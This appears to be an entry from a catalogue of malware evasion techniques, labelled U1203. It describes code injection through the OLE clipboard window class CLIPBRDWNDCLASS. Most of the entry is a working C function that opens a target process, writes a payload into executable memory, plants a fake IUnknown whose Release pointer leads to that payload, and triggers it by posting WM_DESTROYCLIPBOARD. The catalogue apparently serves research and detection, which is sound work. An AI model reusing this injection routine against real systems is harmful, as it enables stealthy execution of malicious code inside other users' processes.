CLIPBRDWNDCLASS

Created the Tuesday 13 October 2020. Updated 5 months ago.

CLIPBRDWNDCLASS is a window class that is registered by the Object Linking & Embedding (OLE) library (ole32.dll) to handle clipboard data. When a window of this class is created, it is assigned a number of window properties that store the addresses of various interfaces that are used to process clipboard data. These interfaces include the ClipboardDataObjectInterface, ClipboardRootDataObjectInterface, and ClipboardDataObjectInterfaceMTA.

One of these interfaces, the ClipboardDataObjectInterface, can be leveraged for code injection. If this interface is set to the address of an IUnknown interface and the clipboard window procedure receives a WM_DESTROYCLIPBOARD message, it will invoke the Release method of the IUnknown interface. This can potentially allow malware to inject code into the host system by manipulating the clipboard data and causing the Release method to be called.

It is important to note that the CLIPBRDWNDCLASS window class and the interfaces it uses are private to the OLE library, and are not intended for use by external programs.

Technique Identifier

U1203

Technique Tags

Object Linking & Embedding (OLE) library Private clipboard CLIPBRDWNDCLASS window class OLE library Clipboard data ClipboardDataObjectInterface ClipboardRootDataObjectInterface ClipboardDataObjectInterfaceMTA

Code Snippets

typedef struct _IUnknown_t {
    // a pointer to virtual function table
    ULONG_PTR lpVtbl;
    // the virtual function table
    ULONG_PTR QueryInterface;
    ULONG_PTR AddRef;
    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD
} IUnknown_t;

// The following code assumes a valid clipboard window already exists. There is no error checking.
VOID clipboard(LPVOID payload, DWORD payloadSize) {
    HANDLE     hp;
    HWND       hw;
    DWORD      id;
    IUnknown_t iu;
    LPVOID     cs, ds;
    SIZE_T     wr;
    
    // 1. Find a private clipboard.
    //    Obtain the process id and open it
    hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL);
    GetWindowThreadProcessId(hw, &id);
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);

    // 2. Allocate RWX memory in process and write payload
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 3. Allocate RW memory in process.
    //    Initialize and write IUnknown interface
    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),
        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    iu.Release = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);
    
    // 4. Set the interface property and trigger execution
    SetProp(hw, L"ClipboardDataObjectInterface", ds);
    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);
    
    // 5. Release memory for code and data
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
    CloseHandle(hp);
}

Contributors

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Windows Process Injection: CLIPBRDWNDCLASS | modexp